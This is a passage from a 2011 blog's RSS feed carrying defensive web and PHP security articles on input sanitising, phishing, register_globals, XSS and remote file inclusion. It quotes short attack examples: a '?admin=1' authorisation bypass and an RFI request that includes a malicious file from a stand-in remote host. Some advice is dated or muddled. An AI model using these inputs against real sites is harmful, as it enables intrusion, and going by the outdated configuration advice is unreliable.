<p>The solution is the same for XSS attacks.  You need to validate and  sanitize all user inputs appropriately for where it will be used.  For  data that gets written back into an HTML page, we use PHP’s <code>input_filter()</code> function with the FILTER_SANITIZE_SPECIAL_CHARS flag.  For data that gets passed to the shell, we use the <a href="http://www.php.net/manual/en/function.escapeshellcmd.php"><code>escapeshellcmd()</code></a> and <a href="http://www.php.net/manual/en/function.escapeshellarg.php"><code>escapeshellarg()</code></a> functions.  It’s also a good idea to <strong>validate the input</strong> to make sure it only contains a whitelist of characters.  Always use a  whitelist instead of a blacklist.  Attackers find inventive ways of  getting around a blacklist.</p>
<p>If an attacker can gain shell access to your box, all bets are off.   You may need to wipe everything off that box and reimage it.  If any  passwords or secret keys were stored on that box (in configuration files  or source code), they will need to be changed at all locations where  they are used.  This could prove quite costly for your organization.</p>
<h3>6. Phishing</h3>
<p>Phishing is the process where an attacker tricks your users into  handing over their login credentials.  The attacker may create a page  that looks exactly like your login page, and ask the user to log in  there by sending them a link via e-mail, IM, Facebook, or something  similar.  Since the attacker’s page looks identical to yours, the user  may enter their login credentials without realizing that they’re on a  malicious site.  The primary method to protect your users from phishing  is user training, and there are a few things that you could do for this  to be effective.</p>
<ol>
<li>Always <strong>serve your login page over SSL</strong>.  This  requires more server resources, but it ensures that the user’s browser  verifies that the page isn’t being redirected to a malicious site.</li>
<li>Use one and only one URL for user log in, and make it short and easy to recognize.  For our example website, we could use <code>https://login.mybiz.com</code> as our login URL.  It’s important that when the user sees a login form  for our website, they also see this URL in the URL bar.  That trains  users to be suspicious of login forms on other URLs</li>
<li>Do not allow partners to ask your users for their credentials on  your site.  Instead, if partners need to pull user data from your site,  provide them with an OAuth based API.  This is also known as <a href="http://www.designingsocialinterfaces.com/patterns.wiki/index.php?title=The_Password_Anti-Pattern">the Password Anti-Pattern</a>.</li>
<li>Alternatively, you could use something like a sign-in image that  some websites are starting to use (e.g. Bank of America, Yahoo!).  This  is an image that the user selects on your website, that only the user  and your website know about.  When the user sees this image on the login  page, they know that this is the right page.  Note that if you use a  sign-in seal, you should also use frame busting to make sure an attacker  cannot embed your sign-in image page in their phishing page using an  iframe.</li>
</ol>
<p>If a user is trained to hand over their password to anyone who asks for it, then their data isn’t safe.</p>
<h3>Summary</h3>
<p>While we’ve covered a lot in this article, it still only skims the  surface of web application security.  Any developer interested in  building truly secure applications has to be on top of their game at all  times.  Stay up to date with various security related mailing lists,  and make sure all developers on your team are clued in.  Sometimes it  may be necessary to sacrifice features for security, but the alternative  is far scarier.</p>
<p>Finally, I’d like to thank the Yahoo! Paranoids for all their help in writing this article.</p>
<h3>Further reading</h3>
<ol>
<li><a href="http://www.owasp.org/index.php/Top_10_2010-Main">OWASP Top 10 security risks</a></li>
<li><a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a></li>
<li><a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">CSRF</a></li>
<li><a href="http://en.wikipedia.org/wiki/Phishing">Phishing</a></li>
<li><a href="http://en.wikipedia.org/wiki/Code_injection">Code injection</a></li>
<li><a href="http://php.net/manual/en/book.filter.php">PHP’s input filters</a></li>
<li><a href="http://www.designingsocialinterfaces.com/patterns.wiki/index.php?title=The_Password_Anti-Pattern">Password anti-pattern</a></li>
<li><a href="http://oauth.net/">OAuth</a></li>
<li><a href="http://mashable.com/2010/05/31/facebook-like-worm-clickjack/">Facebook Like button click-jacking</a></li>
<li><a href="http://coderrr.wordpress.com/2009/06/18/anti-anti-frame-busting/">Anti-anti frame-busting</a></li>
<li>The <a href="http://security.yahoo.com/">Yahoo! Security Center</a> also has articles on how users can protect themselves online.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://roobon.net/2011/06/01/common-security-mistakes-in-web-applications/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Security: Fortifying Your Website- Power Tips, Tools &amp; How to’s</title>
		<link>http://roobon.net/2011/06/01/php-security-fortifying-your-website-power-tips-tools-how-to%e2%80%99s/</link>
		<comments>http://roobon.net/2011/06/01/php-security-fortifying-your-website-power-tips-tools-how-to%e2%80%99s/#comments</comments>
		<pubDate>Wed, 01 Jun 2011 11:37:35 +0000</pubDate>
		<dc:creator>roobon</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[PHP Security]]></category>

		<guid isPermaLink="false">http://roobon.net/?p=84</guid>
		<description><![CDATA[I found good article on PHP Security. Original location Defining PHP Security and It’s uses PHP is the most popular web programming languages in use today due in large part to the fact that it’s a highly flexible syntax that can perform many functions while working flawlessly in conjunction with html – Plus it’s relatively [...]]]></description>
			<content:encoded><![CDATA[<h3>I found good article on PHP Security. <a href="http://www.noupe.com/php/php-security-tips.html">Original location</a></h3>
<h3>Defining PHP Security and It’s uses</h3>
<p>PHP is the most popular web programming languages in use today due in  large part to the fact that it’s a highly flexible syntax that can  perform many functions while working flawlessly in conjunction with html  – Plus it’s relatively easy to learn for beginners, yet it’s powerful  enough for advanced users as well. It also works exceptionally well with  open source tools, such as the Apache web server and MySQL database. In  other words, its versatility is unsurpassed when compared to other  scripting languages, making it the language of choice for many  programmers.</p>
<p>&nbsp;</p>
<p>Though many programmers and developers may be implementing PHP in  their websites, the issue of PHP security is often overlooked when  building a site. Insecure coding is rather common in PHP due to the fact  that it’s such a forgiving language that will often “work” even when  there are a few loose ends in the coding. These “loose ends” are what  hackers are looking for, and in PHP, they’re not that hard to find. The  key is for you to find them <em>first</em>, and to leverage PHP’s unique features to minimize your security vulnerability.</p>
<p>PHP Security involves minimizing programming errors as much as  possible, and putting proper code in place to protect against possible  vulnerabilities – Often times this means putting 2-3 “layers” of  protection in place to guard sensitive data against hackers that could  otherwise cause a catastrophic result if compromised. Developers call  this principle of redundant safeguarding <em>Defense in Depth</em>, and this concept has been proven over the years to be an extremely effective defense against malicious attacks.</p>
<h3>Types of Attacks</h3>
<p>There are various types of attacks that PHP is particularly  vulnerable to, and any website that sends or receives information is at  risk of an attack – ranging from an annoyance to catastrophic – so it’s  important to put the proper security in place to minimize the risk. The  two main types of attacks are <strong>human attacks</strong> and <strong>automated attacks</strong> – Both of which can potentially devastate a website.</p>
<p>The most common type of human attacks are little more than annoyances  and are common at file storage sites and forums, such as abusing file  storage policy, defamation, lobbying at sites such Amazon or Yahoo  Answers, and other similar abuse that doesn’t necessarily involve  manipulation of your website’s source code. Humans can also find  security holes that allow them to access source code and use it  maliciously. This can potentially cause substantial damage to your  website, so this is the type of human attack you should focus your  efforts on.</p>
<p>Automated attacks are particularly dangerous because of their  efficiency in using the power of automated scripts to wreak havoc on  your website in a number of different ways. These attacks may slow down  your site, access the error logs, manipulate the source code, or  compromise sensitive information – The possibilities are seemingly  endless. The most common, and notorious, type of automated attack are  viruses and worm, which are slightly different in nature but are similar  in the way that they can potentially harm a website.</p>
<p>The goal of PHP security is to minimize, and ultimately eliminate,  the potential for both human and automated attacks by putting into place  strategic lines of defense to eliminate access to your site by  unverified users. The way you go about doing this is to target the most  common types of PHP security breaches first, so that you make your  website airtight against malicious attacks. So what are the most common  types of PHP security breaches?</p>
<h3>Most Common PHP Security Vulnerabilities</h3>
<p>Experienced hackers know the most common types of security holes to  look for in PHP, so it’s important to address these issues first. It  doesn’t matter whether you’re a beginner or expert PHP programmer, every  programmer makes mistakes now and then, and hackers will find it if you  don’t first.</p>
<h4>1. Register_Globals</h4>
<p>Register_Globals makes writing PHP applications simple and convenient  for the developer, but it also poses a potential security risk. This  setting is located in PHP’s configuration file, which is php.ini, and it  can be either turned on or off. When turned on, it allows unverified  users to inject variables into an application to gain administrative  access to your website. Most, if not all, PHP security experts recommend  turning register_globals off.</p>
<p>For example take a look at the <a href="http://en.wikibooks.org/wiki/PHP_Programming/Register_Globals">code snippet below</a>.  A user could append the end of a page’s url with ?admin=1 to basically  force entry to administrative areas that would normally require a  password.</p>
<p><img src="http://noupe.com/img/php-security/secure-1.jpg" alt="Secure-1 in PHP Security:  Fortifying Your Website- Power Tips, Tools &amp; How tos" width="?" height="?" /></p>
<p>With <a href="http://en.wikibooks.org/wiki/PHP_Programming/Register_Globals">register_globals</a> turned off, this type of forced entry isn’t possible. The good news is  that PHP 4.2.0 has register_globals turned off as its default setting,  and PHP 6.0.0 has actually removed the feature. While some developers  frown upon this move because register_globals off makes programming in  PHP slightly more time-consuming, but in terms of PHP security it’s a  crucial step in the right direction.</p>
<p>So instead of relying on register_globals, you should instead go  through PHP Predefined Variables, such as $_REQUEST. To further tighten  security, you should also specify by using: $_ENV, $_GET, $_POST,  $_COOKIE, or $_SERVER instead using the more general $_REQUEST.</p>
<h4>2. Error Reporting</h4>
<p>Error reporting is a great tool for diagnosing bugs and allowing you  to fix them quicker and easier, but it also poses a potential security  threat. The problem occurs when the error is visible to others  on-screen, because it reveals possible security holes in your source  code that a hacker can easily take advantage of. If display_errors is  not turned off, or have a value of “0”, the output will appear on the  end user’s browser – Not good for security! You do, however, want to set  log_errors to on, and then indicate the exact location of the log with  error_log.</p>
<p>Take a look at the table below from <a href="http://www.phpfreaks.com/tutorial/php-security/page2">PHPFreaks.com</a>, which points out the recommended settings for both production and development instances of PHP web applications.</p>
<p><img src="http://noupe.com/img/php-security/secure-2.jpg" alt="Secure-2 in PHP Security:  Fortifying Your Website- Power Tips, Tools &amp; How tos" width="500" /></p>
<h4>3. Cross-Site Scripting (XSS)</h4>
<p>Cross-site scripting, or XSS, is a way for hackers to gather your  website’s user data by using malicious markup or JavaScript code to  trick a user, or their browser, to follow a bad link or present their  login details to a fake login screen that instead of logging them in,  steals their personal information. The best way to defend against XSS is  to disable JavaScript and images while surfing the web, but we all know  that’s nearly impossible with so many websites using JavaScript’s rich  application environment these days.</p>
<p>To defend against XSS attacks, you need to be proactive – Don’t wait  until your website has already been exploited. For instance, PHP  applications that use form submission, or POST requests, are much less  vulnerable than GET requests. So it’s very important that you spell out  which variables and actions will be allowed as GET values, and also  which ones must come via POST values. In a nutshell, defending against  XSS involves controlling the user input at your site and making sure  that it goes through a filtering process to ensure that it’s void of  malicious code.</p>
<p>An example of filtering user input can be found in the snippet of code below that was taken from <em>Pro PHP Security</em> by Chris Snyder and Michael Southwell.</p>
<p><img src="http://noupe.com/img/php-security/secure-3.jpg" alt="Secure-3 in PHP Security:  Fortifying Your Website- Power Tips, Tools &amp; How tos" width="500" /></p>
<p>This relatively straightforward piece of code works by preventing  html and JavaScript from being embedded in the input, which results in a  completely safe version of the input. This is especially useful for  comment sections of a blog, forums and other web applications that  receive user input.</p>
<p>Also useful for protecting against XSS is a useful PHP function called <em>htmlentities()</em>.  This simple function works by converting all characters in html to  their corresponding entities, such as “&lt;” would convert to “&lt;”  (without the quotes).</p>
<h4>4. Remote File Inclusion (RFI)</h4>
<p>This type of attack is relatively unknown amongst developers, which  makes it an especially damaging threat to PHP security. Remote file  inclusion, or RFI, involves an attack from a remote location that  exploits a vulnerable PHP application and injects malicious code for the  purpose of spamming or even gaining access to the root folder of the  server. An unverified user gaining access to any server can wreak major  havoc on a website in many different ways, including abusing personal  information stored in databases.</p>
<p>A great example of an RFI attack can be found at<strong><a href="http://www.phpfreaks.com/tutorial/php-security/page6">PHPFreaks.com.</a></strong> Here’s an exerpt from that page:</p>
<blockquote><p>Imagine that at http://example.com/malice.php a file  exists and our script is located at http://site.com/index.php. The  attacker will do this request:  http://site.com/index.php?page=http://example.com/malice. This file will  get executed when it is included and it will a write a new file to the  disk.</p></blockquote>
<p>The best way to secure your site from RFI attacks is through php.ini  directives – Specifically, the allow_url_fopen and the allow_url_include  directives. The allow_url_fopen directive is set to on by default, and  the allow_url_include is set to off. These two simple directives will  adequately protect your site from RFI attacks.</p>
<h3>Other PHP Security Tools</h3>
<p>While the most effective way to secure PHP web application is through  accurate coding and vigilante monitoring of your site, there are other  helpful tools out there that can help to quickly and easily point out  possible vulnerabilities in your PHP coding. Here are three useful tools  that can be beneficial to PHP developers:</p>
<h4>- PhpSecInfo</h4>
<p><img src="http://noupe.com/img/php-security/secure-4.jpg" alt="Secure-4 in PHP Security:  Fortifying Your Website- Power Tips, Tools &amp; How tos" width="500" /></p>
<p>This useful tool reports security information in the PHP environment,  and best of all, it offers suggestions for improving the errors. It’s  available for download under the “New BSD” license, and the PhpSecInfo  project is always looking for more PHP developers to help improve this  tool.</p>
<p><img src="http://noupe.com/img/php-security/secure-5.jpg" alt="Secure-5 in PHP Security:  Fortifying Your Website- Power Tips, Tools &amp; How tos" width="500" /></p>
<p><a href="http://phpsec.org/projects/phpsecinfo/index.html">Download PhpSecInfo Here.</a></p>
<h4>- PHP Security Scanner</h4>
<p>This is a tool used to scan PHP code for vulnerabilities, and it can be used to scan any directory. <a href="http://www.security-database.com/toolswatch/PHP-Security-Scanner-1-2-added-to.html">PHP Security Scanner</a> features a useful UI for better visualization of potential problems,  and it supports basic wild card search functionality for filtering  directories or files that are to be searched.</p>
<p><a href="http://sourceforge.net/projects/securityscanner/">Download PHP Security Scanner Here</a></p>
<h4>- Spike PHP Security Audit Tool</h4>
<p>The Spike PHP Security Audit Tool is an open source solution for  doing static analysis of PHP code. It will search for security exploits,  so you can correct them during the development process.</p>
<p><img src="http://noupe.com/img/php-security/secure-6.jpg" alt="Secure-6 in PHP Security:  Fortifying Your Website- Power Tips, Tools &amp; How tos" width="500" /></p>
<p><a href="http://developer.spikesource.com/projects/phpsecaudit/">Download Spike PHP Security Audit Tool Here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://roobon.net/2011/06/01/php-security-fortifying-your-website-power-tips-tools-how-to%e2%80%99s/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

